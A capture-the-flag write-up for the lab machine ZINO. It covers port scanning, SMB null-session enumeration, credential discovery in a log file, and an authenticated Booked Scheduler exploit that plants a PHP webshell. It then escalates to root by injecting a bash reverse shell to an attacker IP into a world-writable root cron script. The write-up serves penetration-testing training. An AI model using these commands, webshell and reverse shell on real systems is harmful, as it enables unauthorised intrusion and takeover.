Summary #
Access the server using provided credentials of peter
or getting credentials to a web application (Booked Scheduler) from a file on an open SMB share. Once access to the application we can use a python exploit getting access to a PHP webshell. Abusing a existing python cronjob we can escalate our privileges to root.
Specifications #
- Name: ZINO
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- OS: Linux zino 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
- IP address: 192.168.118.64
- OFFSEC provided credentials:
Peter:RiflemanDecreaseCosmolog485
- HASH:
local.txt
:bd268c5ab9ea813c52b15f46ac639128
- HASH:
proof.txt
:f02bbcc8fd0a4134abf5c51817238e90
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir zino && cd zino && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 13 14:20 .
drwxrwxr-x 3 kali kali 4096 Jul 13 14:20 ..
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 enum
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 exploits
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 files
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 tools
drwxrwxr-x 2 kali kali 4096 Jul 13 14:20 uploads
## set bash variable
ip=192.168.118.64
## ping target to check if it's online
ping $ip
PING 192.168.118.64 (192.168.118.64) 56(84) bytes of data.
64 bytes from 192.168.118.64: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.118.64: icmp_seq=2 ttl=61 time=19.3 ms
^C
--- 192.168.118.64 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.426/18.875/19.325/0.449 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where '404 Not Found' meets '200 OK'.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.118.64:21
Open 192.168.118.64:22
Open 192.168.118.64:139
Open 192.168.118.64:445
Open 192.168.118.64:3306
Open 192.168.118.64:8003
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 14:25 CEST
Initiating Ping Scan at 14:25
Scanning 192.168.118.64 [4 ports]
Completed Ping Scan at 14:25, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:25
Completed Parallel DNS resolution of 1 host. at 14:25, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:25
Scanning 192.168.118.64 [6 ports]
Discovered open port 445/tcp on 192.168.118.64
Discovered open port 139/tcp on 192.168.118.64
Discovered open port 3306/tcp on 192.168.118.64
Discovered open port 22/tcp on 192.168.118.64
Discovered open port 8003/tcp on 192.168.118.64
Discovered open port 21/tcp on 192.168.118.64
Completed SYN Stealth Scan at 14:25, 0.05s elapsed (6 total ports)
Nmap scan report for 192.168.118.64
Host is up, received echo-reply ttl 61 (0.027s latency).
Scanned at 2025-07-13 14:25:33 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8003/tcp open mcreport syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Raw packets sent: 10 (416B) | Rcvd: 7 (292B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8003/tcp open mcreport syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
21,22,139,445,3306,8003
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,139,445,3306,8003 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC44YysvRUv+02vB7LK+DbEvDnTUU2Zzaj42pbyX7gL4I5DhhWWZmK4Sr/MulEE2XPnKhXCCwTVuA12C/VuFhVdnq7WjDwfV+4a1DEuDG8P7wQAux0waAsly34mGtd7HQhQIv9h7nQWcTx8hoOrF6D71eHiZmLJ6fk01VlFN75XKJGn/T/ClJHz9UJ33zwkhqXskMO9At21LfOBE+I3IQCHuFFO6DcQWw/SsZaXQxHNzLqnI/9j1aQuvyuh6KMdT6p10D577maBz+T+Hyq/qeOgbGU0YGAoXXMU36FibkoQ+WwDRYbEHYKJccUXhzFWp980PYCIDtZNaWuo/AbgryLB
| 256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOmcORNC6GjDnH1cqJrCeytZJjGrpJyY+CgseFsH27PJmSbmVYEz0ls0w/oXR0xrG/IfvxxyH9RRX2BIsBTx2cY=
| 256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9wfKL6wusRXGDMv5Tcf2OxMAIkhvOofRPsrSQ+aMbK
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql syn-ack ttl 61 MariaDB 10.3.24 or later (unauthorized)
8003/tcp open http syn-ack ttl 61 Apache httpd 2.4.38
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2019-02-05 21:02 booked/
|_
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Service Info: Hosts: ZINO, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-07-11T18:02:16
|_ start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m35s, median: -1s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 40704/tcp): CLEAN (Timeout)
| Check 2 (port 23725/tcp): CLEAN (Timeout)
| Check 3 (port 61764/udp): CLEAN (Timeout)
| Check 4 (port 56156/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: zino
| NetBIOS computer name: ZINO\x00
| Domain name: \x00
| FQDN: zino
|_ System time: 2025-07-11T14:02:18-04:00
Initial Access #
Initial Access: path 1 #
Because we got credentials from OFFSEC we can first try to login using SSH on TCP port 22.
## nmap output:
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
We can access the ZINO server using SSH with the provided credentials: Peter
/ RiflemanDecreaseCosmolog485
with the following command and paste the password when asked. Once logged in we find in the root folder of the peter
user the local.txt
ssh peter@$ip
peter@zino:~$ cat local.txt
bd268c5ab9ea813c52b15f46ac639128
In the root folder of the Peter
user there’s also a misc.log
file. In this file there is a username and password: admin
/adminadmin
peter@zino:~$ cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
Initial Access: path 2 #
## nmap output:
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Using port 135,445 we could also get the same credentials as shown in Initial Access Path - 1
. List available SMB shares with a blank/null username/password:
## run nxc with the SMB protocol to get a list of available shares and permissions/remarks
nxc smb $ip -u '' -p '' --shares
SMB 192.168.136.64 445 ZINO [*] Unix - Samba (name:ZINO) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.136.64 445 ZINO [+] \:
SMB 192.168.136.64 445 ZINO [*] Enumerated shares
SMB 192.168.136.64 445 ZINO Share Permissions Remark
SMB 192.168.136.64 445 ZINO ----- ----------- ------
SMB 192.168.136.64 445 ZINO zino READ Logs
SMB 192.168.136.64 445 ZINO print$ Printer Drivers
SMB 192.168.136.64 445 ZINO IPC$ IPC Service (Samba 4.9.5-Debian)
This shows there is a zino
share available and we read this share with null authentication. Connect to the share. Now we can see the same content as within the root of the peter
user:
## connect to the zino share with provided credentials
smbclient \\\\$ip\\zino -U '' -p ''
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 9 21:11:49 2020
.. D 0 Tue Apr 28 15:38:53 2020
.bash_history H 178 Fri Jul 11 20:43:31 2025
error.log N 265 Tue Apr 28 16:07:32 2020
.bash_logout H 220 Tue Apr 28 15:38:53 2020
local.txt N 33 Fri Jul 11 18:56:03 2025
.bashrc H 3526 Tue Apr 28 15:38:53 2020
.gnupg DH 0 Tue Apr 28 16:17:02 2020
.profile H 807 Tue Apr 28 15:38:53 2020
misc.log N 424 Tue Apr 28 16:08:15 2020
auth.log N 368 Tue Apr 28 16:07:54 2020
access.log N 5464 Tue Apr 28 16:07:09 2020
ftp D 0 Tue Apr 28 16:12:56 2020
7158264 blocks of size 1024. 4726224 blocks available
Within the SMBclient prompt we can get the misc.log
file using the get
command. If we cat
this file we’ll see the same output and credentials as within Initial Access Path - 1
.
## within the SMBclient session, type below to download the file:
get misc.log
## exit the SMB session
exit
## print the content to screen
cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
## nmap output:
8003/tcp open http syn-ack ttl 61 Apache httpd 2.4.38
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2019-02-05 21:02 booked/
When we visit port 8003 in our browser we’ll see the following directory listing:

Once clicked on booked
we get redirected to a login portal with URL: http://192.168.136.64:8003/booked/Web/?
.
We can see at the bottom of the screen the version of the application: Booked Scheduler v2.7.5
.

When we try to login using the found credentials admin
/adminadmin
we get logged in.

Running searchsploit we can see there is a authenticated RCE.
## run the searchsploit command
searchsploit Booked Scheduler
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit) | php/webapps/46486.rb
Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50594.py
Booked Scheduler 2.7.7 - Authenticated Directory Traversal | php/webapps/48428.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Since we have verified credentials to the application we can use this exploit. We can mirror and run it. It’s a simple PHP webshell. Run the exploit to get a shell.
## mirror the exploit
cd exploits && searchsploit -m php/webapps/50594.py
## run the exploit with the verified credentials
python3 50594.py http://$ip:8003 admin adminadmin
[+] Logged in successfully.
[+] Uploaded shell successfully
[+] http://192.168.136.64:8003/booked/Web/custom-favicon.php?cmd=
$ whoami
www-data
Now we also have a rudimentary shell on the target as the www-data
user.
Privilege Escalation #
## change to `uploads` directory
cd uploads
## download linpeas.sh from github
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local python webserver using a known open port
python3 -m http.server 3306
## run `wget` on target to download the `linpeas.sh` file
peter@zino:~$ wget http://192.168.45.154:3306/linpeas.sh
--2025-07-13 08:49:01-- http://192.168.45.154:3306/linpeas.sh
Connecting to 192.168.45.154:3306... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh.1’
linpeas.sh.1 100%[==============================================>] 933.76K 3.89MB/s in 0.2s
2025-07-13 08:49:02 (3.89 MB/s) - ‘linpeas.sh.1’ saved [956174/956174]
## on the attacker host we can see that the file was requested from the target
└─$ python3 -m http.server 3306
Serving HTTP on 0.0.0.0 port 3306 (http://0.0.0.0:3306/) ...
192.168.118.64 - - [13/Jul/2025 14:49:01] "GET /linpeas.sh HTTP/1.1" 200 -
When downloading we need to use a port that’s already open, default ports like 80 or 443 didn’t work. In this example we used the port 3306. Now we can run linpeas.sh
.
## add the `x` mode bit (execute) to the `linpeas.sh` file
peter@zino:~$ chmod +x linpeas.sh
## execute `linpeas.sh`
peter@zino:~$ ./linpeas.sh
Within the output of linpeas we can see that a python script is run every third minute as the root
user: python /var/www/html/booked/cleanup.py
.

We can also see this when we print /etc/crontab
.
## print `/etc/crontab`
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 * * * * root python /var/www/html/booked/cleanup.py
Also any user can read/write/execute this file.
## list file
peter@zino:~$ ls -la /var/www/html/booked/cleanup.py
-rwxrwxrwx 1 www-data www-data 164 Apr 28 2020 /var/www/html/booked/cleanup.py
## print `cleanup.py`
peter@zino:~$ cat /var/www/html/booked/cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
print 'ERROR...'
sys.exit(0)
The python file runs a os.system
command where it removes any any files within the /var/www/html/booked/uploads/reservation/
directory.
When can edit the python logged in as Peter
using nano
or upload the edited file, the same way we uploaded linpeas.sh.
Once the file has been saved we only need to wait until cron has executed the python script as root
, and get a bash reverse shell. We’ll catch the reverse shell with nc
.
## list pathname of bash
peter@zino:~$ which bash
/usr/bin/bash
## edit the file with nano
peter@zino:~$ nano /var/www/html/booked/cleanup.py
## change the content of the file and press CTRL+X:
#!/usr/bin/env python
import os
import sys
try:
os.system("/usr/bin/bash -c '/usr/bin/bash -i >& /dev/tcp/192.168.45.154/3306 0>&1'")
except:
print 'ERROR...'
sys.exit(0)
## on attacker host setup a listener on port 3306:
└─$ nc -lvnp 3306
listening on [any] 3306 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.118.64] 36000
bash: cannot set terminal process group (22682): Inappropriate ioctl for device
bash: no job control in this shell
root@zino:~#
root@zino:~# cat proof.txt
cat proof.txt
f02bbcc8fd0a4134abf5c51817238e90